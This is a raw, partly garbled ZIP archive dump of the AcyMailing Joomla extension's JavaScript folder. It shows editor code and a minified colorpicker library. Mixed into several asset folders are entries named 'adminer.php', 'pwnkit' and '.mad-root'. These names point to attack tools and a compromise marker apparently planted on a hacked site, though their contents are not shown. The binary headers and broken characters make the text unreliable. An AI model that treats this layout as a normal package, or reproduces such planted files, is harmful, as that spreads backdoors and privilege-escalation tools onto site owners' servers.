if(acyJquery(parent).find(".acyeditor_delete, .acyeditor_text, .acyeditor_picture").length > 0){ var tdEditableTotaux = acyJquery(parent).find("td.acyeditor_text, td.acyeditor_picture").length; var tdEditable = acyJquery(parent).find("table td.acyeditor_text, table td.acyeditor_picture").length; if(parent.tagName != "TR" || classe != "acyeditor_delete" || elementModifiables != tdEditableTotaux || tdEditable != 0){ parent = null; } } if(parent != null && (parent.tagName == "DIV" || parent.tagName == "TABLE" || parent.tagName == "TR" && classe == "acyeditor_delete" || parent.tagName == "TD" && classe != "acyeditor_delete")){ var vraiParent = parent != null ? parent.parentElement || parent.parentNode : null; while (vraiParent != null && vraiParent != undefined){ if(parent.tagName == "TD" && vraiParent.tagName == "TR" && acyJquery(vraiParent).hasClass("acyeditor_delete")){ return parent; } if(acyJquery(vraiParent).hasClass("acyeditor_delete") || acyJquery(vraiParent).hasClass("acyeditor_text") || acyJquery(vraiParent).hasClass("acyeditor_picture")){ return vraiParent; } vraiParent = vraiParent != null ? vraiParent.parentElement || vraiParent.parentNode : null; } return parent; } parent = parent != null ? parent.parentElement || parent.parentNode : null; } return parent; } function isParentSupprimable(element){ var supprimable = false; var parent = element; while (parent != null && parent != undefined){ if(parent.className != null && parent.className != undefined && parent.className.indexOf("acyeditor_delete") >= 0){ supprimable = true; } parent = parent.parentElement || parent.parentNode; } return supprimable; } function AddRemoveTemplateCss(){ if(acyeditor_templatemode){ ShowTemplateCss(!IsTemplateCssShown()); } } function IsTemplateCssShown(){ if(acyeditor_templatemode){ var boutonShow = acyJquery(".boutontemplate_show")[0]; if(boutonShow != null && boutonShow != undefined && boutonShow.className != null && boutonShow.className != undefined && boutonShow.className.indexOf("cke_button_on") >= 0){ return true; } } return false; } function ShowTemplateCss(show){ if(acyeditor_templatemode){ var iframe = acyJquery('#edition_en_cours')[0].parentElement.getElementsByTagName("iframe")[0]; iframe = acyJquery(iframe); var boutonShow = acyJquery(".boutontemplate_show")[0]; templateShown = show; if(!show){ var link = iframe.contents().find("#AcyTemplateCss")[0]; if(link != null && link != undefined){ acyJquery(link).remove(); } SetTitleTemplate(true); acyJquery(boutonShow).removeClass("cke_button_on"); acyJquery(boutonShow).addClass("cke_button_off"); }else{ var headEditor = iframe[0].contentWindow.document; headEditor = headEditor.head || headEditor; var base = headEditor.getElementsByTagName("base")[0]; var link1 = document.createElement("link"); link1.type = "text/css"; link1.rel = "stylesheet"; link1.id = "AcyTemplateCss"; link1.href = base.href + urlAcyeditor + "css/acyeditor_template.css?v=" + acyVersion; headEditor.appendChild(link1); SetTitleTemplate(); acyJquery(boutonShow).removeClass("cke_button_off"); acyJquery(boutonShow).addClass("cke_button_on"); } } } function AcyGetData(){ for(var myField in CKEDITOR.instances){ return CKEDITOR.instances[myField].getData(); } } PK Yk.] js/adminer.phpnu �[��� PK Yk.] js/pwnkitnu ȯ�� PK Yk.]�#o, , js/colorpicker/index.htmlnu &1i� <html><body bgcolor="#FFFFFF"></body></html>PK Yk.] js/colorpicker/pwnkitnu ȯ�� PK Yk.] js/colorpicker/js/pwnkitnu ȯ�� PK Yk.]z��:W W js/colorpicker/js/colorpicker.jsnu &1i� /** * @package AcyMailing for Joomla! * @version 5.5.0 * @author acyba.com * @copyright (C) 2009-2016 ACYBA S.A.R.L. All rights reserved. * @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html */ !function(a){ "use strict"; "object" == typeof exports ? module.exports = a(window.jQuery) : "function" == typeof define && define.amd ? define(["jquery"], a) : window.jQuery && !window.jQuery.fn.colorpicker && a(window.jQuery) }(function(a){ "use strict"; var b = function(b, c){ this.value = {h: 0, s: 0, b: 0, a: 1}, this.origFormat = null, c && a.extend(this.colors, c), b && (void 0 !== b.toLowerCase ? (b += "", this.setColor(b)) : void 0 !== b.h && (this.value = b)) }; b.prototype = { constructor: b, colors: { aliceblue: "#f0f8ff", antiquewhite: "#faebd7", aqua: "#00ffff", aquamarine: "#7fffd4", azure: "#f0ffff", beige: "#f5f5dc", bisque: "#ffe4c4", black: "#000000", blanchedalmond: "#ffebcd", blue: "#0000ff", blueviolet: "#8a2be2", brown: "#a52a2a", burlywood: "#deb887", cadetblue: "#5f9ea0", chartreuse: "#7fff00", chocolate: "#d2691e", coral: "#ff7f50", cornflowerblue: "#6495ed", cornsilk: "#fff8dc", crimson: "#dc143c", cyan: "#00ffff", darkblue: "#00008b", darkcyan: "#008b8b", darkgoldenrod: "#b8860b", darkgray: "#a9a9a9", darkgreen: "#006400", darkkhaki: "#bdb76b", darkmagenta: "#8b008b", darkolivegreen: "#556b2f", darkorange: "#ff8c00", darkorchid: "#9932cc", darkred: "#8b0000", darksalmon: "#e9967a", darkseagreen: "#8fbc8f", darkslateblue: "#483d8b", darkslategray: "#2f4f4f", darkturquoise: "#00ced1", darkviolet: "#9400d3", deeppink: "#ff1493", deepskyblue: "#00bfff", dimgray: "#696969", dodgerblue: "#1e90ff", firebrick: "#b22222", floralwhite: "#fffaf0", forestgreen: "#228b22", fuchsia: "#ff00ff", gainsboro: "#dcdcdc", ghostwhite: "#f8f8ff", gold: "#ffd700", goldenrod: "#daa520", gray: "#808080", green: "#008000", greenyellow: "#adff2f", honeydew: "#f0fff0", hotpink: "#ff69b4", indianred: "#cd5c5c", indigo: "#4b0082", ivory: "#fffff0", khaki: "#f0e68c", lavender: "#e6e6fa", lavenderblush: "#fff0f5", lawngreen: "#7cfc00", lemonchiffon: "#fffacd", lightblue: "#add8e6", lightcoral: "#f08080", lightcyan: "#e0ffff", lightgoldenrodyellow: "#fafad2", lightgrey: "#d3d3d3", lightgreen: "#90ee90", lightpink: "#ffb6c1", lightsalmon: "#ffa07a", lightseagreen: "#20b2aa", lightskyblue: "#87cefa", lightslategray: "#778899", lightsteelblue: "#b0c4de", lightyellow: "#ffffe0", lime: "#00ff00", limegreen: "#32cd32", linen: "#faf0e6", magenta: "#ff00ff", maroon: "#800000", mediumaquamarine: "#66cdaa", mediumblue: "#0000cd", mediumorchid: "#ba55d3", mediumpurple: "#9370d8", mediumseagreen: "#3cb371", mediumslateblue: "#7b68ee", mediumspringgreen: "#00fa9a", mediumturquoise: "#48d1cc", mediumvioletred: "#c71585", midnightblue: "#191970", mintcream: "#f5fffa", mistyrose: "#ffe4e1", moccasin: "#ffe4b5", navajowhite: "#ffdead", navy: "#000080", oldlace: "#fdf5e6", olive: "#808000", olivedrab: "#6b8e23", orange: "#ffa500", orangered: "#ff4500", orchid: "#da70d6", palegoldenrod: "#eee8aa", palegreen: "#98fb98", paleturquoise: "#afeeee", palevioletred: "#d87093", papayawhip: "#ffefd5", peachpuff: "#ffdab9", peru: "#cd853f", pink: "#ffc0cb", plum: "#dda0dd", powderblue: "#b0e0e6", purple: "#800080", red: "#ff0000", rosybrown: "#bc8f8f", royalblue: "#4169e1", saddlebrown: "#8b4513", salmon: "#fa8072", sandybrown: "#f4a460", seagreen: "#2e8b57", seashell: "#fff5ee", sienna: "#a0522d", silver: "#c0c0c0", skyblue: "#87ceeb", slateblue: "#6a5acd", slategray: "#708090", snow: "#fffafa", springgreen: "#00ff7f", steelblue: "#4682b4", tan: "#d2b48c", teal: "#008080", thistle: "#d8bfd8", tomato: "#ff6347", turquoise: "#40e0d0", violet: "#ee82ee", wheat: "#f5deb3", white: "#ffffff", whitesmoke: "#f5f5f5", yellow: "#ffff00", yellowgreen: "#9acd32", transparent: "transparent" }, _sanitizeNumber: function(a){ return "number" == typeof a ? a : isNaN(a) || null === a || "" === a || void 0 === a ? 1 : void 0 !== a.toLowerCase ? parseFloat(a) : 1 }, isTransparent: function(a){ return a ? (a = a.toLowerCase().trim(), "transparent" === a || a.match(/#?00000000/) || a.match(/(rgba|hsla)\(0,0,0,0?\.?0\)/)) : !1 }, rgbaIsTransparent: function(a){ return 0 === a.r && 0 === a.g && 0 === a.b && 0 === a.a }, setColor: function(a){ a = a.toLowerCase().trim(), a && (this.isTransparent(a) ? this.value = {h: 0, s: 0, b: 0, a: 0} : this.value = this.stringToHSB(a) || {h: 0, s: 0, b: 0, a: 1}) }, stringToHSB: function(b){ b = b.toLowerCase(); var c; "undefined" != typeof this.colors[b] && (b = this.colors[b], c = "alias"); var d = this, e = !1; return a.each(this.stringParsers, function(a, f){ var g = f.re.exec(b), h = g && f.parse.apply(d, [g]), i = c || f.format || "rgba"; return h ? (e = i.match(/hsla?/) ? d.RGBtoHSB.apply(d, d.HSLtoRGB.apply(d, h)) : d.RGBtoHSB.apply(d, h), d.origFormat = i, !1) : !0 }), e }, setHue: function(a){ this.value.h = 1 - a }, setSaturation: function(a){ this.value.s = a }, setBrightness: function(a){ this.value.b = 1 - a }, setAlpha: function(a){ this.value.a = parseInt(100 * (1 - a), 10) / 100 }, toRGB: function(a, b, c, d){ a || (a = this.value.h, b = this.value.s, c = this.value.b), a *= 360; var e, f, g, h, i; return a = a % 360 / 60, i = c * b, h = i * (1 - Math.abs(a % 2 - 1)), e = f = g = c - i, a = ~~a, e += [i, h, 0, 0, h, i][a], f += [h, i, i, h, 0, 0][a], g += [0, 0, h, i, i, h][a], {r: Math.round(255 * e), g: Math.round(255 * f), b: Math.round(255 * g), a: d || this.value.a} }, toHex: function(a, b, c, d){ var e = this.toRGB(a, b, c, d); return this.rgbaIsTransparent(e) ? "transparent" : "#" + (1 << 24 | parseInt(e.r) << 16 | parseInt(e.g) << 8 | parseInt(e.b)).toString(16).substr(1) }, toHSL: function(a, b, c, d){ a = a || this.value.h, b = b || this.value.s, c = c || this.value.b, d = d || this.value.a; var e = a, f = (2 - b) * c, g = b * c; return g /= f > 0 && 1 >= f ? f : 2 - f, f /= 2, g > 1 && (g = 1), {h: isNaN(e) ? 0 : e, s: isNaN(g) ? 0 : g, l: isNaN(f) ? 0 : f, a: isNaN(d) ? 0 : d} }, toAlias: function(a, b, c, d){ var e = this.toHex(a, b, c, d); for(var f in this.colors)if(this.colors[f] === e)return f; return !1 }, RGBtoHSB: function(a, b, c, d){ a /= 255, b /= 255, c /= 255; var e, f, g, h; return g = Math.max(a, b, c), h = g - Math.min(a, b, c), e = 0 === h ? null : g === a ? (b - c) / h : g === b ? (c - a) / h + 2 : (a - b) / h + 4, e = (e + 360) % 6 * 60 / 360, f = 0 === h ? 0 : h / g, {h: this._sanitizeNumber(e), s: f, b: g, a: this._sanitizeNumber(d)} }, HueToRGB: function(a, b, c){ return 0 > c ? c += 1 : c > 1 && (c -= 1), 1 > 6 * c ? a + (b - a) * c * 6 : 1 > 2 * c ? b : 2 > 3 * c ? a + (b - a) * (2 / 3 - c) * 6 : a }, HSLtoRGB: function(a, b, c, d){ 0 > b && (b = 0); var e; e = .5 >= c ? c * (1 + b) : c + b - c * b; var f = 2 * c - e, g = a + 1 / 3, h = a, i = a - 1 / 3, j = Math.round(255 * this.HueToRGB(f, e, g)), k = Math.round(255 * this.HueToRGB(f, e, h)), l = Math.round(255 * this.HueToRGB(f, e, i)); return [j, k, l, this._sanitizeNumber(d)] }, toString: function(a){ a = a || "rgba"; var b = !1; switch(a){ case"rgb": return b = this.toRGB(), this.rgbaIsTransparent(b) ? "transparent" : "rgb(" + b.r + "," + b.g + "," + b.b + ")"; case"rgba": return b = this.toRGB(), "rgba(" + b.r + "," + b.g + "," + b.b + "," + b.a + ")"; case"hsl": return b = this.toHSL(), "hsl(" + Math.round(360 * b.h) + "," + Math.round(100 * b.s) + "%," + Math.round(100 * b.l) + "%)"; case"hsla": return b = this.toHSL(), "hsla(" + Math.round(360 * b.h) + "," + Math.round(100 * b.s) + "%," + Math.round(100 * b.l) + "%," + b.a + ")"; case"hex": return this.toHex(); case"alias": return this.toAlias() || this.toHex(); default: return b } }, stringParsers: [{ re: /rgb\(\s*(\d{1,3})\s*,\s*(\d{1,3})\s*,\s*(\d{1,3})\s*?\)/, format: "rgb", parse: function(a){ return [a[1], a[2], a[3], 1] } }, { re: /rgb\(\s*(\d+(?:\.\d+)?)\%\s*,\s*(\d+(?:\.\d+)?)\%\s*,\s*(\d+(?:\.\d+)?)\%\s*?\)/, format: "rgb", parse: function(a){ return [2.55 * a[1], 2.55 * a[2], 2.55 * a[3], 1] } }, { re: /rgba\(\s*(\d{1,3})\s*,\s*(\d{1,3})\s*,\s*(\d{1,3})\s*(?:,\s*(\d+(?:\.\d+)?)\s*)?\)/, format: "rgba", parse: function(a){ return [a[1], a[2], a[3], a[4]] } }, { re: /rgba\(\s*(\d+(?:\.\d+)?)\%\s*,\s*(\d+(?:\.\d+)?)\%\s*,\s*(\d+(?:\.\d+)?)\%\s*(?:,\s*(\d+(?:\.\d+)?)\s*)?\)/, format: "rgba", parse: function(a){ return [2.55 * a[1], 2.55 * a[2], 2.55 * a[3], a[4]] } }, { re: /hsl\(\s*(\d+(?:\.\d+)?)\s*,\s*(\d+(?:\.\d+)?)\%\s*,\s*(\d+(?:\.\d+)?)\%\s*?\)/, format: "hsl", parse: function(a){ return [a[1] / 360, a[2] / 100, a[3] / 100, a[4]] } }, { re: /hsla\(\s*(\d+(?:\.\d+)?)\s*,\s*(\d+(?:\.\d+)?)\%\s*,\s*(\d+(?:\.\d+)?)\%\s*(?:,\s*(\d+(?:\.\d+)?)\s*)?\)/, format: "hsla", parse: function(a){ return [a[1] / 360, a[2] / 100, a[3] / 100, a[4]] } }, { re: /#?([a-fA-F0-9]{2})([a-fA-F0-9]{2})([a-fA-F0-9]{2})/, format: "hex", parse: function(a){ return [parseInt(a[1], 16), parseInt(a[2], 16), parseInt(a[3], 16), 1] } }, { re: /#?([a-fA-F0-9])([a-fA-F0-9])([a-fA-F0-9])/, format: "hex", parse: function(a){ return [parseInt(a[1] + a[1], 16), parseInt(a[2] + a[2], 16), parseInt(a[3] + a[3], 16), 1] } }], colorNameToHex: function(a){ return "undefined" != typeof this.colors[a.toLowerCase()] ? this.colors[a.toLowerCase()] : !1 } }; var c = {horizontal: !1, inline: !1, color: !1, format: !1, input: "input", container: !1, component: ".add-on, .input-group-addon", sliders: {saturation: {maxLeft: 100, maxTop: 100, callLeft: "setSaturation", callTop: "setBrightness"}, hue: {maxLeft: 0, maxTop: 100, callLeft: !1, callTop: "setHue"}, alpha: {maxLeft: 0, maxTop: 100, callLeft: !1, callTop: "setAlpha"}}, slidersHorz: {saturation: {maxLeft: 100, maxTop: 100, callLeft: "setSaturation", callTop: "setBrightness"}, hue: {maxLeft: 100, maxTop: 0, callLeft: "setHue", callTop: !1}, alpha: {maxLeft: 100, maxTop: 0, callLeft: "setAlpha", callTop: !1}}, template: '<div class="colorpicker dropdown-menu"><div class="colorpicker-saturation"><i><b></b></i></div><div class="colorpicker-hue"><i></i></div><div class="colorpicker-alpha"><i></i></div><div class="colorpicker-color"><div /></div><div class="colorpicker-selectors"></div></div>', align: "right", customClass: null, colorSelectors: null}, d = function(d, e){ if(this.element = a(d).addClass("colorpicker-element"), this.options = a.extend(!0, {}, c, this.element.data(), e), this.component = this.options.component, this.component = this.component !== !1 ? this.element.find(this.component) : !1, this.component && 0 === this.component.length && (this.component = !1), this.container = this.options.container === !0 ? this.element : this.options.container, this.container = this.container !== !1 ? a(this.container) : !1, this.input = this.element.is("input") ? this.element : this.options.input ? this.element.find(this.options.input) : !1, this.input && 0 === this.input.length && (this.input = !1), this.color = new b(this.options.color !== !1 ? this.options.color : this.getValue(), this.options.colorSelectors), this.format = this.options.format !== !1 ? this.options.format : this.color.origFormat, this.picker = a(this.options.template), this.options.customClass && this.picker.addClass(this.options.customClass), this.options.inline ? this.picker.addClass("colorpicker-inline colorpicker-visible") : this.picker.addClass("colorpicker-hidden"), this.options.horizontal && this.picker.addClass("colorpicker-horizontal"), ("rgba" === this.format || "hsla" === this.format || this.options.format === !1) && this.picker.addClass("colorpicker-with-alpha"), "right" === this.options.align && this.picker.addClass("colorpicker-right"), this.options.colorSelectors){ var f = this; a.each(this.options.colorSelectors, function(b, c){ var d = a("<i />").css("background-color", c).data("class", b); d.click(function(){ f.setValue(a(this).css("background-color")) }), f.picker.find(".colorpicker-selectors").append(d) }), this.picker.find(".colorpicker-selectors").show() } this.picker.on("mousedown.colorpicker touchstart.colorpicker", a.proxy(this.mousedown, this)), this.picker.appendTo(this.container ? this.container : a("body")), this.input !== !1 && (this.input.on({"keyup.colorpicker": a.proxy(this.keyup, this)}), this.input.on({"change.colorpicker": a.proxy(this.change, this)}), this.component === !1 && this.element.on({"focus.colorpicker": a.proxy(this.show, this)}), this.options.inline === !1 && this.element.on({"focusout.colorpicker": a.proxy(this.hide, this)})), this.component !== !1 && this.component.on({"click.colorpicker": a.proxy(this.show, this)}), this.input === !1 && this.component === !1 && this.element.on({"click.colorpicker": a.proxy(this.show, this)}), this.input !== !1 && this.component !== !1 && "color" === this.input.attr("type") && this.input.on({"click.colorpicker": a.proxy(this.show, this), "focus.colorpicker": a.proxy(this.show, this)}), this.update(), a(a.proxy(function(){ this.element.trigger("create") }, this)) }; d.Color = b, d.prototype = { constructor: d, destroy: function(){ this.picker.remove(), this.element.removeData("colorpicker").off(".colorpicker"), this.input !== !1 && this.input.off(".colorpicker"), this.component !== !1 && this.component.off(".colorpicker"), this.element.removeClass("colorpicker-element"), this.element.trigger({type: "destroy"}) }, reposition: function(){ if(this.options.inline !== !1 || this.options.container)return !1; var a = this.container && this.container[0] !== document.body ? "position" : "offset", b = this.component || this.element, c = b[a](); "right" === this.options.align && (c.left -= this.picker.outerWidth() - b.outerWidth()), this.picker.css({top: c.top + b.outerHeight(), left: c.left}) }, show: function(b){ return this.isDisabled() ? !1 : (this.picker.addClass("colorpicker-visible").removeClass("colorpicker-hidden"), this.reposition(), a(window).on("resize.colorpicker", a.proxy(this.reposition, this)), !b || this.hasInput() && "color" !== this.input.attr("type") || b.stopPropagation && b.preventDefault && (b.stopPropagation(), b.preventDefault()), this.options.inline === !1 && a(window.document).on({"mousedown.colorpicker": a.proxy(this.hide, this)}), void this.element.trigger({type: "showPicker", color: this.color})) }, hide: function(){ this.picker.addClass("colorpicker-hidden").removeClass("colorpicker-visible"), a(window).off("resize.colorpicker", this.reposition), a(document).off({"mousedown.colorpicker": this.hide}), this.update(), this.element.trigger({type: "hidePicker", color: this.color}) }, updateData: function(a){ return a = a || this.color.toString(this.format), this.element.data("color", a), a }, updateInput: function(a){ if(a = a || this.color.toString(this.format), this.input !== !1){ if(this.options.colorSelectors){ var c = new b(a, this.options.colorSelectors), d = c.toAlias(); "undefined" != typeof this.options.colorSelectors[d] && (a = d) } this.input.prop("value", a) } return a }, updatePicker: function(a){ void 0 !== a && (this.color = new b(a, this.options.colorSelectors)); var c = this.options.horizontal === !1 ? this.options.sliders : this.options.slidersHorz, d = this.picker.find("i"); return 0 !== d.length ? (this.options.horizontal === !1 ? (c = this.options.sliders, d.eq(1).css("top", c.hue.maxTop * (1 - this.color.value.h)).end().eq(2).css("top", c.alpha.maxTop * (1 - this.color.value.a))) : (c = this.options.slidersHorz, d.eq(1).css("left", c.hue.maxLeft * (1 - this.color.value.h)).end().eq(2).css("left", c.alpha.maxLeft * (1 - this.color.value.a))), d.eq(0).css({top: c.saturation.maxTop - this.color.value.b * c.saturation.maxTop, left: this.color.value.s * c.saturation.maxLeft}), this.picker.find(".colorpicker-saturation").css("backgroundColor", this.color.toHex(this.color.value.h, 1, 1, 1)), this.picker.find(".colorpicker-alpha").css("backgroundColor", this.color.toHex()), this.picker.find(".colorpicker-color, .colorpicker-color div").css("backgroundColor", this.color.toString(this.format)), a) : void 0 }, updateComponent: function(a){ if(a = a || this.color.toString(this.format), this.component !== !1){ var b = this.component.find("i").eq(0); b.length > 0 ? b.css({backgroundColor: a}) : this.component.css({backgroundColor: a}) } return a }, update: function(a){ var b; return (this.getValue(!1) !== !1 || a === !0) && (b = this.updateComponent(), this.updateInput(b), this.updateData(b), this.updatePicker()), b }, setValue: function(a){ this.color = new b(a, this.options.colorSelectors), this.update(!0), this.element.trigger({type: "changeColor", color: this.color, value: a}) }, getValue: function(a){ a = void 0 === a ? "#000000" : a; var b; return b = this.hasInput() ? this.input.val() : this.element.data("color"), (void 0 === b || "" === b || null === b) && (b = a), b }, hasInput: function(){ return this.input !== !1 }, isDisabled: function(){ return this.hasInput() ? this.input.prop("disabled") === !0 : !1 }, disable: function(){ return this.hasInput() ? (this.input.prop("disabled", !0), this.element.trigger({type: "disable", color: this.color, value: this.getValue()}), !0) : !1 }, enable: function(){ return this.hasInput() ? (this.input.prop("disabled", !1), this.element.trigger({type: "enable", color: this.color, value: this.getValue()}), !0) : !1 }, currentSlider: null, mousePointer: {left: 0, top: 0}, mousedown: function(b){ b.pageX || b.pageY || !b.originalEvent || (b.pageX = b.originalEvent.touches[0].pageX, b.pageY = b.originalEvent.touches[0].pageY), b.stopPropagation(), b.preventDefault(); var c = a(b.target), d = c.closest("div"), e = this.options.horizontal ? this.options.slidersHorz : this.options.sliders; if(!d.is(".colorpicker")){ if(d.is(".colorpicker-saturation")){ this.currentSlider = a.extend({}, e.saturation); }else if(d.is(".colorpicker-hue")){ this.currentSlider = a.extend({}, e.hue); }else{ if(!d.is(".colorpicker-alpha"))return !1; this.currentSlider = a.extend({}, e.alpha) } var f = d.offset(); this.currentSlider.guide = d.find("i")[0].style, this.currentSlider.left = b.pageX - f.left, this.currentSlider.top = b.pageY - f.top, this.mousePointer = {left: b.pageX, top: b.pageY}, a(document).on({"mousemove.colorpicker": a.proxy(this.mousemove, this), "touchmove.colorpicker": a.proxy(this.mousemove, this), "mouseup.colorpicker": a.proxy(this.mouseup, this), "touchend.colorpicker": a.proxy(this.mouseup, this)}).trigger("mousemove") } return !1 }, mousemove: function(a){ a.pageX || a.pageY || !a.originalEvent || (a.pageX = a.originalEvent.touches[0].pageX, a.pageY = a.originalEvent.touches[0].pageY), a.stopPropagation(), a.preventDefault(); var b = Math.max(0, Math.min(this.currentSlider.maxLeft, this.currentSlider.left + ((a.pageX || this.mousePointer.left) - this.mousePointer.left))), c = Math.max(0, Math.min(this.currentSlider.maxTop, this.currentSlider.top + ((a.pageY || this.mousePointer.top) - this.mousePointer.top))); return this.currentSlider.guide.left = b + "px", this.currentSlider.guide.top = c + "px", this.currentSlider.callLeft && this.color[this.currentSlider.callLeft].call(this.color, b / this.currentSlider.maxLeft), this.currentSlider.callTop && this.color[this.currentSlider.callTop].call(this.color, c / this.currentSlider.maxTop), "setAlpha" === this.currentSlider.callTop && this.options.format === !1 && (1 !== this.color.value.a ? (this.format = "rgba", this.color.origFormat = "rgba") : (this.format = "hex", this.color.origFormat = "hex")), this.update(!0), this.element.trigger({type: "changeColor", color: this.color}), !1 }, mouseup: function(b){ return b.stopPropagation(), b.preventDefault(), a(document).off({"mousemove.colorpicker": this.mousemove, "touchmove.colorpicker": this.mousemove, "mouseup.colorpicker": this.mouseup, "touchend.colorpicker": this.mouseup}), !1 }, change: function(a){ this.keyup(a) }, keyup: function(a){ 38 === a.keyCode ? (this.color.value.a < 1 && (this.color.value.a = Math.round(100 * (this.color.value.a + .01)) / 100), this.update(!0)) : 40 === a.keyCode ? (this.color.value.a > 0 && (this.color.value.a = Math.round(100 * (this.color.value.a - .01)) / 100), this.update(!0)) : (this.color = new b(this.input.val(), this.options.colorSelectors), this.color.origFormat && this.options.format === !1 && (this.format = this.color.origFormat), this.getValue(!1) !== !1 && (this.updateData(), this.updateComponent(), this.updatePicker())), this.element.trigger({type: "changeColor", color: this.color, value: this.input.val()}) } }, a.colorpicker = d, a.fn.colorpicker = function(b){ var c, e = arguments, f = this.each(function(){ var f = a(this), g = f.data("colorpicker"), h = "object" == typeof b ? b : {}; g || "string" == typeof b ? "string" == typeof b && (c = g[b].apply(g, Array.prototype.slice.call(e, 1))) : f.data("colorpicker", new d(this, h)) }); return "getValue" === b ? c : f }, a.fn.colorpicker.constructor = d }); PK Yk.]�#o, , js/colorpicker/js/index.htmlnu &1i� <html><body bgcolor="#FFFFFF"></body></html>PK Yk.] js/colorpicker/js/.mad-rootnu �[��� PK Yk.] js/colorpicker/js/adminer.phpnu �[��� PK Yk.] js/colorpicker/css/pwnkitnu ȯ�� PK Yk.]�#o, , js/colorpicker/css/index.htmlnu &1i� <html><body bgcolor="#FFFFFF"></body></html>PK Yk.]S6T T "